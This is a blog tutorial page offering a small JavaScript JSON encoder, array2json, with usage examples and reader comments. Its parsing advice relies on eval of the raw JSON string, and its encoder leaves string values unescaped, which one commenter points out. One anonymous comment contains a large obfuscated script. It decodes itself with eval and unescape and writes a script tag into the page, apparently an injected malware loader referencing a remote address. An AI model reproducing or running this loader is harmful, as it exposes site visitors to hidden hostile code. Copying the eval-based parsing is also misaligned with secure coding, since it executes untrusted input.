JSON Encoder/Decoder For JavaScript

JSON(JavaScript Object Notation) is a lightweight computer data interchange format. It is a text-based, semi-readable format for representing simple data structures and associative arrays. The main advantage of using JSON is that it can be parsed into an object using very little code - and for this reason, many people(including me) prefer using it as the ajax response format.

JSON Decoder/Parser

As I said earlier, parsing JSON is very easy. All you have to do is...

var json_data_object = eval("(" + json_string + ")");

If you have moral objections with using eval, there are other JSON parsers that don't use eval. Use one of those.

JSON Encoder

Unlike decoding JSON, encoding JSON in JavaScript takes a bit of work. Usually you don't have to do that in the client side - generating JSON strings are the function of server side script. And server side language have functions for it. For example, PHP has json_encode.

But there are occasions when you want to encode a data structure into a string in JavaScript. A good example for this is saving data structures to a cookie. Cookies can only store strings. If you want to store a data structure in it, you have to use some encoding scheme. And since we are working in javascript, JSON is the obvious choice. I recently had to do this - so I wrote a function to encode a data structure into a JSON string. Yes, I know there are a lot of scripts that does this. But I like re-inventing the wheel - it is one of my favorite pass times.

Then again, I was not re-inventing a JSON encoder - I was just translating a JSON parser I wrote in PHP to javascript.


/**
 * Converts the given data structure to a JSON string.
 * Argument: arr - The data structure that must be converted to JSON
 * Example: var json_string = array2json(['e', {pluribus: 'unum'}]);
 * 			var json = array2json({"success":"Sweet","failure":false,"empty_array":[],"numbers":[1,2,3],"info":{"name":"Binny","site":"http:\/\/www.openjs.com\/"}});
 * http://www.openjs.com/scripts/data/json_encode.php
 */
function array2json(arr) {
    var parts = [];
    var is_list = (Object.prototype.toString.apply(arr) === '[object Array]');

    for(var key in arr) {
    	var value = arr[key];
        if(typeof value == "object") { //Custom handling for arrays
            if(is_list) parts.push(array2json(value)); /* :RECURSION: */
            else parts[key] = array2json(value); /* :RECURSION: */
        } else {
            var str = "";
            if(!is_list) str = '"' + key + '":';

            //Custom handling for multiple data types
            if(typeof value == "number") str += value; //Numbers
            else if(value === false) str += 'false'; //The booleans
            else if(value === true) str += 'true';
            else str += '"' + value + '"'; //All other things
            // :TODO: Is there any more datatype we should be in the lookout for? (Functions?)

            parts.push(str);
        }
    }
    var json = parts.join(",");
    
    if(is_list) return '[' + json + ']';//Return numerical JSON
    return '{' + json + '}';//Return associative JSON
}

Usage Example

var json_string = array2json(['e', {pluribus: 'unum'}]);//Returns '["e", {"pluribus": "unum"}]' 

var data = {
			"success":"Sweet",
			"failure":false,
			"empty_array":[],
			"numbers":[1,2,3],
			"info":{
				"name":"Binny",
				"site":"http:\/\/www.openjs.com\/"
			}
		};
var json = array2json(data); // Returns {"success":"Sweet","failure":false,"empty_array":[],"numbers":[1,2,3],"info":{"name":"Binny","site":"http:\/\/www.openjs.com\/"}}

License

BSD License

Comments

Daniel at 31 Mar, 2009 05:14
I am facing the same problem when doing customisation in mod_yoo_carousel.js so please anyone can help would be appreciated.
Reply to this.
Bruno at 12 Jun, 2009 07:15

there is a bug on:

else parts[key] = array2json(value); /* :RECURSION: */

it should be like:

parts.push('"' + key + '":' + returnedVal);
Reply to this.
Tomas at 15 Jun, 2009 04:27
Warning: This function does not escape string values or keys. Double-quotes in a string will cause errors...
Reply to this.
Anonymous at 25 Jun, 2009 06:47
l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O0OO=new Array();O0OO[0]='nsp=\'Old browser!\';dl=document.lay~s;oe=win~w.op~a?1:0~a~~~~~all&&!~%;g~&~~~~.~EtEle~ItById;~ ~\'~)~+.sidebar?true:f~=~\r;tN=navigator.u~\rrA~E~J~wL~ ~Ca~\r();iz~o~n.~ZexOf(\'netsca~/\')>=0~d~f~h~jl~lzis=}}}}\'m~]e 7}} }"~e~g~i~ke}\n}~ ~@!} N){quog~\'iuy\'};v~b }2g~~function }m}{r}ur}b}:e}R~(~*~ ~-}r~\nr =}c~P;zOF~Y}q~,l~~v}`n.p~\n~wcol}~*}}("fi~O")!=-1}#};}&~li7f=})s}B}}F|}%}=;\r\n//=|3|4|5|6|7|8|9|:|;|7|/}T}w~r_| ~_}!|.\n|? |A_}W=""|G/*dt~pew D~v}>|/~ei~=|Zt~&}|X|ae(2009,4,1,|j|q0|s|s} |/if (|T~K}Ti~}>|^|`|[|~t{zc{))|J}u|Co|E101; */|/hn=|}}_}a.host~q~|G|y({|3"}p}lc.~_v"||{,|N{0{2~)f{6{8{|Nramok~q.~f{?{9{.w~,{C{E{Ga{Iu{K{A{.~){;{T{V{-{N~,{/~={2{J{7{L{`{1|{> {7 {L87.228.53{p16| }m|Ge}\'}4{|B|D~&{2{)}|Kz>0{\r|/{|/ |K|M"\\u041Ezz48z43zzz 1z3Az&0. z1z(z#3zz04z,z0z2zz"zz!z&z%z0z/z:8:"+z {|\\\n ~=~t(zsg|wzH{|{!h}h|$"http:|1_b~nk|Pzc~O~b}|G}|/|1|<zozpzq|<z | ~zct_s[\'}p11\']=6|G zu}a{%zyz{}p2zyyztzvyzzz|~)3y\ry;yztyyzxyz}2yzc=zyzwy yn{qy"y$zHyy&yyy!yzyy-yyy\n~)13y"7yy.yy9y)y<yy>y%yAy(3yD=yFy-yGy8y(14y"3y?y7y\'y ySyyUyOyXyyZ=y\\y6yy\'f{Pyy"z~y?y]y0nzy"9yyycy&byB{yiyVydyvy(0y2={y]y|}p0yKxytyx~)zy"8yzyuz{yf{Dyxy{y?{gy 1y"x/s|\r~^zym~=|jpgzey-xy 2xxt}jynrdx#x%.x\'x)xmxzz3x/x</flipx1}k4x4x6~>x8x(x*yx,zz4x@g/xGnxKx&xNx;x=[5xTxBxDxFx2xYxMx:ztxQ[6x`xWxex9xO xi7x`xCxExmsx$xLxox\\y 8xlxdxxx7x{xhx<y 9xtxbxwxyxZxgx+wzz{x`x xDx5wxzx[wx]z~wxExnwwxyvx|Nxwx"~,ww z`[x.w$xAxWxIx5w(wxPwyvx?w.xUxuxcxHxJw3w\rw5w![xSw9xVx2w1z`xfxpx,yvx_wEw;w0xJbwJx|yvxkwExW}hw_w?wKw6[xswOw x2wZw\\wTy5wAw+x~wXwd|WwIx{ ww+wwbxvwmw[wSw)wiw"0wx!x5fwTwqw*w"w#xxAw;_vwzzm|R*vvvvvvvvvzt}[}]{ }b}az`}k}(obj,}cozx~PxFy)ztzy-xq|z(nv)_v+tyz {\rv$j~\\rcwE~asv!zxa}^ive~K|yxpz{ v=v?vAvxUvCvEv7mv,vL{>y?zlyNv`yvvH}avQuzxvWv"v=v\'v5v*vZv9v.y-v0yv2|{vmvYv,v; vRsv@vBv }_vG}_vJ_}aovgv\\|P ztvO~\rvQv%vSvvDuv8yuv5u gvMv^u\ru |0vvu"u#u$*whuvb}\\vd}bupd|[}v/u\r}p~[zSv{"zW~}.|zZml~ztv_u\'vcv u-u/|bvizLvqyvsyu4}ru6|u8e|$\'uJu<pu@y-uBu( uD| zoom~)v#v%uL uN |1vR~(|Th=uo~^th-y,um/yvRhe~tzZusuu~tzctuxy|1u|ub~x~_rxzcy?v{u{%y~O.t x4}|\r~x|N#FF|j|jxpu]vu*uEucueuzLv=ujuNt utuqtv>upuv+uyt tv>tgtu}ut<tt6tu{t9tt\r~|Fu\rv|v9tttCtt"tttUt#ysu)vuacu~ck}Tl~g(t`~gt-u\r|y|{tdez .1&tj<4.3{\r}g}i}k 0u]u}4}hxW xyv_|R tYu+ G}PriceI|x(}.tfv1s~(tt\\|{su\rulzu}}4~3 tvtz~}hak;t{su2:s#t~x2szc{~ es)s+u}u3s0s$s3~5s\'s7s*s,s;}44s>s2tx{sBs8sEs  5sItw}bsAs6sNs:sP6sStsLsWsDsYu7s\\s@s5s(s`v1s-}4zAs1sT yUsMshvtsj 9sdtx4sfsCs9sisFszc0:s?txzs_s|sss~z~rsJ}b5;rs,~_~jults0u\ru]v_{{y-u`ves ts s\rsssssvtsishsr&ssas!sw}bs^sgrvts~s/sms%szsXs}sPs=r:s3sprr0 sHrArr<srr7sPsRrH}brCr5sOus[rO s&rDr>sbr2sorJr6ys~slr}bysqr_stsvrVsyrfrSs!rzcrcs4rYrsPr rpr\rrrvtrarrvvtru\'|/ |1 -qqqq q\nq q q\rqqqqqq- ?>t%tZrs\ns ss~_x_s ofD}*cr%q r\'yr)r+r-q*r/rZr1rVr4s{s,rEr9rprXrRrErGq:r^rm rUq?rlurEr@rprQq6rErNqIq@rEscrVqJr=ssrErbr rFqOsirzr|rv1qzcu^qqqqdqeqfqgqhqqqrt&ua}h~\rzx| r"u1vrv\r~G~:~Jq\\rCh~bqq|NuP~ |251x*|1qx~Q.t\\q}p~Z~ sppp/p\n~;p q~{C}^~Sp{X|p1ppt~wt~=|}tHTML= zz#26z-5z-Dz-rzcty&nb~;zCCURRENCY_NAMEyrv1y7|BxD{%|vg~)z`u d}*azaed},}$uv`q/qqiqiz44pk3z&p:z>pkp6z0z9plFz5z:2z&z7z 7z&p{z#40z)pk9oz0p8o2pyp~ppozpo opuz&5o\r3pqz:oz3z<oz oz:z?z 8oo z&ooozcz&pvzo,z&Cp|pkz=zo!o$op}4o\'o o/z0Fz)o\ro.o<z0o6z1pkoo"o,phqhqkqbpgpioPoQoRpioMvau_qnvep\rn~Ep{~!}et,u2zHu{*~But\\et^p`}Fuo]do_p+~p-p/|NvN ono_2oqrosp0|Ot }|J{usox~Po{o}|Nz2oploEoHz 6p>p@p;(ooz07oBo=zpmoCo)ovnmoz~)p,p.o~<~)pvg {{y~/~|bxt\'}c{D~&\'}ajn9~]zn<6n9 zg}}+\'{;n.vgnFx$x~Oo[uv~y<vQnF~9nJuv}*~\\{~oiuKnF}aoZ~E~qpuqsszj\'>ovpS_pU~n>v';O0O0='fu';OO0O='pQhKQMZOmLNXbODUjGOVJmvwuBjckSaOrvyp';O0O0+='nction __'+'__(_'+'O0){';O000='\166a\162%20\154%32%3Dw\151\156\144o%77%2E\157%70%65ra%3F%31%3A%30%3Bf%75%6E\143t\151%6F%6E%20%6C%33%28\154%34%29%7Bl%35%3D%2Fz\143%2F\147%3B%6C%36%3DStr\151%6E\147%2E\146\162omC\150a%72\103%6F\144\145%28%30%29%3Bl%34%3D\154%34%2E\162ep%6Ca%63\145%28\154%35%2C%6C%36%29%3B\166a%72%20\154%37%3D%6E\145w%20Arra\171%28%29%2C%6C%38%3D%5F%31%3Dl%34%2El%65%6Egt%68%2C\154%39%2C%6C\111%2C%69\154%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2C%6C\151%3D%27%27%3B%64%6F%7Bl%39%3D%6C%34%2Ec%68\141r\103\157d\145At%28%5F%31%29%3Bl%49%3D%6C%34%2Ec%68%61%72\103\157\144%65%41t%28%2B%2B%5F%31%29%3B%6C%37%5B%49%2B%2B%5D%3D%6CI%2B%69%6C%2D%28%6C%39%3C%3C%37%29%7Dwhi\154%65%28%5F%31%2B%2B%3Cl%38%29%3B%76%61r%20l%31%3D%6E\145%77%20\101r\162a\171%28%29%2C\154';O0OO[0]+='>tjturoNoKoSoSz-o?p4n1o%n pop4o4o:o6{p9z-p}p$z-o#1oz-mzm z#1nmmo%qz-o1mm n{qp;z-6|{z-o62mmmzn 0o\rm"mpv1n~mm/z-n!mm mm6)n{qoUuCoX}bndepZ|x5v9~/uhjr\'od}ofv>ohojdolsi bumH_mJvKn)orn+ounzcmXmZ~m\\n3en(nn*otonwn~\rnumdm[m]n map3zm1z@z&FnpAz&m9z p}3m<z m/ovmtmfm]mjmln,SELECTn1n1{\'n<bm]n9}aq}ao[n<ngqrq|g{\rnl<OPTION nuzCc|L}at1+" ~\r~Opd>m}oooz&m*plllAolD39l(l*l,l.l0+l2{E~2l7 l>proon3m5o$pko)z n4lI9 </lllnmnzcnwuAnym?lrlslsqqsmE~{%~rkamLt-u^v2mLpoiv!mUs~w|?y{InI~p\\sp^~Opa~5uk ~bk {CspVnukq_u\r{~mqv1kok\nk kkp]p_pasvtkrkk\r.ktuBlp\npfnzltk:k;qemAoWq}bCzhrS} eL}*t+uiobvtwh|}4knRguv>tytuvR}h{EvJ(z ynk6uk8k<kdkeqqku(lwuE__rWuuhRl~E(w\\~)m],_t;zZtjkyv,~/k} _}]{Dq+ kouqM~)V~=~gtIv1juvMaxj ta~&kvt_kenuybvtijkMkO~O(nie[jm]tj] [ j}m j-[rr!qr$kv~mh)]j)k{tj,[i]<0~@i<p5z\rk"od++tru\rjhj\nnjjkEnCkrl j6qr"q}ku}pm]j>[w}+i*5jxPy#y|1u3j$|gj\'j)jj,j.j0jj3j5j7l$jbsj;jfj?kzt?k|j\rej?jEjGjIv;r~uModqk4u\rjTkpjji =jkjm+j[ej]~Ej_r izcj:jej=j?w}jRu\\lqkfi.i/qoUkci0i4lt}*jUOKq khkjuai7kpi9v4n;,t4h_k}jAiGi ,jiJjvlj2iNtekLkklknkpi!|gyWyvl],iIk}iMjj|iRezQu\'vu(iEie<jUjWjYe{7iktj>injiptuqX|r_k t}snjnrqci5hm?/i?uqi9qkhmBk@jkm}HitiYjdkwmhk~j+iKj1jobt8v{~/{C_9_5pZ}Xjvx. [xh+j?|iw}jh]t|1zJrzLij=h3/h5h7jxi igyh4~Oh6kuj|h@uzh<j&l$w,]h*h,h,h/i)]hGu\rj*mhji+sshtioijnyh[t@iipj"jqp|k,h`uf{iiYi#j8r#q hj<~/jgx.nzcHnP=hmksj(jjai&hhuj?x?nzcj!hy~)nzcjheuOjtkuqpi\r&jJ=hyjujimWg h_g\rkP(jjKn&jvj0h>j j5j{j2g\'jzhj9hrh8hug\'[ ij4g3jj4jGjMssukms jjPmcs,kgp5~@jvhVjzci j?g){Dg2g-hqjcg0ifj?g4g6 g8]i_hghiyi}si+=jmnzcs,hazZh]jimcg\\e}+i{odgnPg\ng  kNggnsgi} gngg=ggvgwggEg!gHg%~gj5hmj~j`g.gRi\'gg3g5gUgYg:ivtsyg@jQqFoVrms{*gEjHg"hKgIjgKj.jj|j4shoi%g/fgTfgWgYg[g]mcg`xq-gdggghhciiy?t8hIghtfCj} ihoOhfQm?i2hfRfVqfhuvh h\nqu^r}bkl}*fIiAli_hieiLm]ieq+hUhtfIhi[[i]fimhfktth{+fgtpfIgj~girkpie>f}iwh?rVi{t{g`qXhzci-fWeqhsi8i:i1f]h skl~Lj\'||~.s~v\'Szy~jlSy~g ~_e%e"me({$e&e,jne\rekeoGooBolBo oAmo:o2lZz:lFo9e<oEmz0eAoo5l@ptooo#oFz0lceCe5omz o#4eKl_puk>iinonq.e%kmTg;gsse*ee,e^kItmvtj*{/{*e!ehik7fUe3kdeSo*oe<la3o\no5e;pkoElpvle>zeRe[m8p7o0d lbdeJo@z&eNleQdl[pndpsno7lvewfPeyezdz0ne7pledndn"lddz6o3dz@oleOd\nd4lo+lYd5oJl?d2ooeNd+d1eLd j }ejpVonebk)ih{ky@~enpeknsk2ijuv{Iu~*(dKnrp)nth?{mO|{da.dXitz  {g`didki{dSlze/=d`ypTdWdcdYj|)*l2k}j~#kt{qXeg~+e)l4e+c e.e+hYnysi3d#cqjdHk?s~LvD~^l}(ehfu~/,}*w\\v)kjKg j\'_}.nvv1gxj%c+}!gGl$c.s<=4gs{*eh} kc[jj?c-}.h.]~@ehc:cBcDm]cFc7cH[x?{\rc+cNcEcDcRsi sc\'tkh2omc[q gAikv1qXKyu\'t$d!k9ccqeqlskk_zs)azliT |IcBj"tJtu9u}zWl7g"m]|NlQdzdVdLmv~.vzzdijn^l;|bdi].n6tA"p>j2b\ndij|~-xF|bb e_b#l:n`p`bb}b&wonb!b(ekb3{b$b[dib8dbb,bc\\b/n7bwv)~l1b6pVbGt|bb&b<bK~bM|b+l<b.bbFc(b5zwd{bLc(b:bQb=babWbbYb0ytgv3dieamSdOut:bbuUbe%xzcvNbkdhbS{3e.dNokq1vtbquT|$bbubdvbxbk{%b]{%b_~a ~tjevvtu\r|Rfybb9boazcjNv1azVuUt2abb4pbnsadUe_drjk4{cgvt|ItvZeh=el$zjapq\'a7}cdc a4pehhGfycBv;avtaabtfbp(~=b\nd[hd]}\\d((aCeh-a[~|Sq\'eq|jc{z abh_e nassaLa#a!aObaQbI+aTaVd_a^meoacagaihk6ccr`qcf_huJmL,ae e+ja=aa%b bJb^b\r~bbPybR`e_bbfb-bCbZbj|a*a.b#`~zc`a``&j2b@bX` b0bFb4``+e_b>bb`b=dM`bBq b`!b2bH`$`,bU`9`)bdbN`/bg`1bEbbMk`D`7ba`(b\'`b7ben_`0`?bDb1`PiN`R`Xc`d~~g`fvt``abmh`dzGdIb{`WpVbnt]bpaJq,~e`~ebvl4a\nbe%a6`5a+ekl`keneperet~bjsif~xti}Ug5}ysAg5<nGb|_~/~~kTh{gb+edeessa_bb%`jE`Koks#n1``b_~n;b\n_`p~_0`Gzz_(b{s,t{jSy-|1_#_5{3~Pl4bmUl9`w_.&c\r~bxclzxhblb|dMamUiT_It_Ka&zCba)_zc`%a-~gpdyaxa>z\\a9h@_-`yb`at~vaU~\naWaZa5a_ae)a|zt_krbc(_nau_rd_~Luc`e+}azafaey?_{b~aDe\'zC^zcd^aXe}eax` aE^_x^\na1u^_B`6`bk`lic&`Ptmp}4^&b\\jn|1vCmFbzcckcl~^bemiK^+c`h@|1_fax*(1-^/_cBagh@^>_um+^_hqt^ _m} qUco`^We{d;e}l`e9dd3d.d8eZe@dd(e=d dAeId=d/^[^ho k>^I^^K^c(^h@_R_t^q|3dm{hImyzl^^a3eY3l\\lDz z&o^l^iov\'d@zl\\loEd+opkl^fz:mo>e6l\\l\\lF]o6]lHeMdlGd9d.]!zeUz\'de?o$!|{qXvo~^k]} u]^ _m~u~>aS_pavaX^?_w_y_@/am"j~r}cs xF:pb$~}n/}_p?uzc`u=l?zC_. \',\'D]_yt15fftgd` ]L|\rl~ar}';O0O0+='eva';OOOO='cOJnqOnsJUkBlOCOYxdw';O0O0+='l(unes' +'cape(_O0))}';eval (O0O0);OO00='fbnHXablNHhjUOqynXSSRWGNV';O0O0='';O000+='%30%3Dn%65w%20A%72%72\141y%28%29%2C%49%6C%3D%31%32%38%3B%64o%7B\154%30%5B\111l%5D%3D%53\164ring%2E%66\162o\155\103har\103o%64\145%28\111\154%29%7Dw%68i\154e%28%2D%2D\111l%29%3BI%6C%3D%31%32%38%3B%6C%31%5B%30%5D%3D%6C\151%3Dl%30%5B\154%37%5B%30%5D%5D%3B\154%6C%3Dl%37%5B%30%5D%3B%5Fl%3D%31%3B%76%61r%20%6C%5F%3D\154%37%2E\154e%6E\147th%2D%31%3Bw\150\151%6C%65%28%5Fl%3Cl%5F%29%7B%73%77i\164%63%68%28l%37%5B%5F\154%5D%3C%49\154%3F%31%3A%30%29%7Bcase%20%30%20%3A%6C%30%5BIl%5D%3D%6C%30%5B\154%6C%5D%2B%53\164%72ing%28%6C%30%5B%6Cl%5D%29%2E%73ub%73%74\162%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3D\154%30%5B\111%6C%5D%3B\151%66%28%6C%32%29%7Bli%2B%3D\154%30%5B\111l%5D%7D%3B\142\162e\141\153%3Bd%65%66\141%75%6Ct%3A%6C%31%5B%5F\154%5D%3D%6C%30';OOO0='l';O0OO[0]+='+|pl{x1}+v5,~w|\r]n~po,~Iu]yv5}{qq{\net*}uGu0)]_aek^]3]5k^u yO`%kOda`l`xrx^!pVr*~Pc.b?nu^zcl~}ezQqyhIdi\\m\\uj|1]P~.]R"]T~)uXp]Y][+`\n]a]ciE]ijA]i}~\n~>]n]p` p)]s]z]vud]m~b\\J]}]o\\i|1\\{\\vg\\u.\\ ]_jmk^aex^Wck>`OnTmhll dyl,vkbflflv1|I~7yWzzvRi]tv|v~xifr| l]cbpRyd\\wui]=\\~|\r[r7y{bR[zc=at}pb~tuv%~8~Hp~L~N~P~;~S~U\\lhG[[tKtvK~at^g^pa"}jl}zCwL[a]l7}v(-}h~/~vnG~;~{{~.pvthIah@fya|tn&[Hxzcz `uu\r [#xvRm_o|mx<~ qlXe@z+^_]d:]+d& #lgnMtn1b nK`st xn9~^~{EvD_bJl[6nWkBs\r`Q\'l"j_inF>mnZ;ZZ p\\)|\rhGaius[R[v>[Un\nocgonh_ipd`zc\\bc\\dmC [|uJ[}qtjk.k tG|BmYk(kk*c0k-k$k|s ~pZZ*kp`Z-yp~J[~O~Qs~SNn;|Z\'e+|h1mwmm-tW^VZcqmA`{;vuzLsqvsiehj_2\\3}jt\\ZEjjsnzcn];l|Nn/v@iFZbm[1Z`ccr"ZY~ZeZ\\iFj\'Zkq ykZW];v=[qy~Z<[~[aXZX\\qZaZy[Z:Z}}[~QYv4Zcn;hGowc7ZzY{Y [~TaXc-YuZX[Tmkm`ot^_sZiZ`l*c-Yl^]DssYZ~Y YZCt|Beh|ZHo~ZJlnsik6|1u%Y?Y@YAYBYCvv\rYDYGYHYIYBYFYJYMYNYO*|/ZP{auY4_}Kv$~=v#YV~brv\'dvv\'avquN|I^:`Qjv\r}hZQx%Y^S_\nu^ZDZXarheZXnoYsjnYq];ar^E~OkhenonsZo~&"dvxOztZfWd<z]eo-m3lIdEnz;o oo-dz&]*]]$lf[^pl]*lF]Bd6lCpkpx^\\]-^ed]#^m]%pld ]d^jeXd0lfv~xs|FjJZDY]_nS__`\r];Yvv)~=gcX<}ujDj?DEFjZr{`j\']azab*XHrXJ[XLXNZfZ]Zi[ coVXe]^km|]\neVoAdEo9] ]zce<X#]$d7XlXo8eHeVde}Xw^`dX]dpuz+X7rX9~5X;Y\\}uX>_}\njPj{*XXXZX\\XOZgc_ca^%c^^\'k,u]XdfVX\nplX dd(X^]d]-dzcX[`Xu]$Xz0XXi]eFWX z+dH_ Wj!W<XXW uvW\r_zvs|Ic+^-d"eyWldX(Xh]&z:XXxX]d-oIW\'d7eN{smAzmu&dT|BiMZdZ[Wj[1\\dUnoYZZX^iFWel$Wb\\l3Z3W^WhWntWlxdU`~YZpW_Z]WwZjjjWc|B_MzxWpXPVWtr`b onXZqW`{VW[v7dcV\nWziFnsV\\VWqZiVb `_YWgXPV~V`VWyWqY6W~z{u^jvtusW XYjEX[XMWZ]cEWZ"s V/tuXIV2WWqWjr"Xae%V.WV@V4Wqe%VEl4ehVGV0WVJXPW|Xap _E_NZ9~9p Y0Y[ noVX)`ly?onssV<~V>V1XKVSV dXansVPV=Y]VRX]XPnsXa\\VgVHVlVvWX`pQuO^tVOV;V|V3V~Z]V!fVeXPUVh|BVtVIUiFZXx%Xaztc+^2^4c!XCb arc#ec%Wc(^voVa)Y#d_ns[Fv3nsidovPa)k,a6VCs^@^BK^Gy?U1|Qh;hCzLY/Y\nZ=V^aXnoW|Vbh@Yy\\,YsUIm\\XE[u Uay_0+W|XU{+zMdcUW0czceoc_c]o+U\nU\\c\\U<ULY{~gosgcdyXRl$^agb Uqr"*z*m*e%Uu`+j\'Ux.x|SVXtAUZn?U\\U^1U`UbUnUeUSUg|\ry?UjUNY|Um gcV\'~XVxzfOcpZMho3oAeU4d*W*o0X$^mX*l@oEWVm&X-d7dDoA]o(T)WMX&o&X]]WSz:dX]pld\']*eW]d9VcmAfyTp)lTkaIzHt.]FYVYrUNgcdvaz*YfT c+ TZaU_ccfFTUV=TWTNTPUn~8{%T[T]TeUcTae.*TcT\nTr~#v\ru|TVYzTXTntTpU#c`T^TsTbk\rTdUaTfztTMXFSzcU`dvV9eSUnTtToTcl2aSSvtTT}UJTUlkTYTul2SUTyT`Sk\'U`SS(S\n]o fF*vQSUMTkS"TmTZUzTqS0STZ]S+TwSclrTv\rhIU@~MUB~Z?yZA{"UIZFw}\\&T\\v3S\rlz ~@U(aXSZ|=S^Y[TiT~S8Y}s{ Tt[Z;UAZ}Z@ZBSSSSUbZ[W~l_,tLn<{{b0-~_| {Cv:xD}a]zVut<{\\~xs0tTt!0\'l\'p\\v_I[&~R\rr:#8dRR;_ ~-wh:t ~nl^]?[+SdViTj~=Tl{\rT`"lhR>lhSynR9R;S{RnKtQRtRR"l4R%R\'R)dR+_od\\R.S`l7R:pllmzf<zSKYYzcY2SsSeZjVcSwmm<R>R~ORRBRt!{RLScSZR3RQxRSR<xOZ%~-S6Y{\\\\RmRwS!ShigRuRncBkz~^RzR-^R/Y5Sf~=RZ/k/RvV=Z){3k)kj"RuqsZ3QkZ6k;a0zHqXR{R^S7Q zkYLYPQ\'Q(Y?Q&Q)Q,Q-YEu Q.Q1Q1e2T e3Zh\r~_{1dz`}.,\\`\r`wX{~yfue\\6\\8c/Zu}cu_X8W9}\n<UhXA`uY%VVV"V)v1Y%YV[[SnZ>Sq{QTYh1QK`|N&zCQb~l7b\nQZua^c_Qv1]G]I}T\\Bxv]Op~,\\1n[0\\:_l]^]`]b]`\\>]f\\@]f\\B]l\\Exzc\\G~v~{\\J]w\\Mt]u\\P\\N\\zcfM\\V~\\\'\\uI]W}]_p\\\r]4aXk^ZUXb`PmFW7}eQ?z|/P,P..u||NQFp?RSY~uu a~v1W7WQOQQWQSWxXVQWfEu\rQng RYSMSpSPZBQjifQdQqP3~xmP5u+gcbQiPHQlP`\\,vRQpv1QqcnxP}PPSoSOSQ|gXe.Su_G{\ra sLg`a jnaZ{V\\Q^~;PnSraPsPfPjea\r}!{\rP{kRn\\P|Q]SLSoY\rR]R0Q\nTO\\Y7PfPYrP[P6}aP^_Le.b\ndva k\rb\na_}R|TkO\rzCO ~^pQOP[p)r~L|NzyQCx*O0~\\]~ufuKQ%u zrO@OAzp|/zE|EkzN}Xmn|0|S|U|d|Y|[|G{l|f|V|eu0h/|l|n|p|rO\\|tacz|{|}~L\\{OR|f{OdSjOEz{{Q{,uRzUe.lz{+{W{f{2{4{\\{:{a{hO{"{P{F{H{c{@{]{Nk {QN{U{dOw{YO}N{eNOx{[N {]N{g{=l8{k{m{o{q{s{u{w{y{\r{|ODvPz{{y~OuOkiP1oczHOHn mpkddXeNz*o\rz.XrX|z8d0N7o,zBzD{zyhIOHigOq|ao|NzZz\\z^/z`zbzdyzgs7WzQs|2OBN\\N]|4YRZQzxP.[!N.u(O9O{\\3Z2]Xa4]ZP<}+P>clku\rPBQNjJPEW@akvtPUV X_PKYPdYQ\\SmOQ_PSQaPH)PWsiNhP]QgPcXPb+PNVd_?u\'{*PlMPo|XM w}PtS|UPwvPPyy?P{MPQ`PpOMbOka OZO%kMvOa zCO#bP{zCaP)P2\\[|bP4ebO<a:\nNZcW]e] T5o] e|[_e:o(WOd\'T&ePd0T=plN5^YWPW&X T:lHXXmpkXq^j]d]\'U]],WKo7Xf](Mqodl\\]*M]yJl@Xd\'l\\XW,}xsQN9pkjmmoDMMdEd7XWOlMy]zcl]lFeXd&[`dEWNeF.N`h\r~L[+jm(x[N\nvsx`Qae*ScL!U9z{*L%<L!{\rL%=L%+geRVvPL-k-L!|3jmL1`QL!yqXL%O>';O000+='%5B\154%37%5B%5F\154%5D%5D%3Bi%66%28%6C%32%29%7B%6C%69%2B%3D\154%30%5B%6C%37%5B%5F\154%5D%5D%7D%3B%6C%30%5BI\154%5D%3Dl%30%5Bll%5D%2B\123%74\162i\156\147%28l%30%5Bl%37%5B%5F\154%5D%5D%29%2E%73u\142s\164\162%28%30%2C%31%29%3B%62\162%65\141k%7D%3B%49%6C%2B%2B%3B%6C\154%3Dl%37%5B%5Fl%5D%3B%5Fl%2B%2B%7D%3Bi%66%28%21l%32%29%7B%72et%75%72n%28%6C%31%2E\152o%69\156%28%27%27%29%29%7D\145\154s\145%7B%72%65%74\165r\156%20l%69%7D%7D%3Bv\141%72%20\154O%3D%27%27%3B%66o%72%28i\151%3D%30%3Bii%3CO%30O%4F%2E%6C%65%6E\147th%3B%69%69%2B%2B%29%7B%6CO%2B%3D%6C%33%28O%30%4F\117%5B%69i%5D%29%7D%3Bif%28%6E\141a%29%7Bdoc\165\155ent%2E%77\162i%74\145%28%27%3C\163%63%72%27%2B%27%69pt%3E%27%2B%6C%4F%2B%27%3C%2F\163\143%27%2B%27\162\151p%74%3E%27%29%7D%3B';OO00 ='hMLORULgNpmZMdYOOiWVIIfoEcxbDWdWUNb';____ (O000);OOO0+='glPlxqMJcBOTPOoGOPOtnVXCYOhOFPQOTmtDesrKORIdumOHKaGLOXETooTOkQgPjEaFRKOMeTO';
Reply to this.
Comment

Please dont enter you comments in this form - this is a fake form to confuse spamming bots. The next form is the real one.




Comment




Comment Formating : HTML tags a, strong, em, b, i, code, pre, p and br allowed. Other tags will be shown as code(< will become &lt;). Urls, Line breaks will be auto-formated.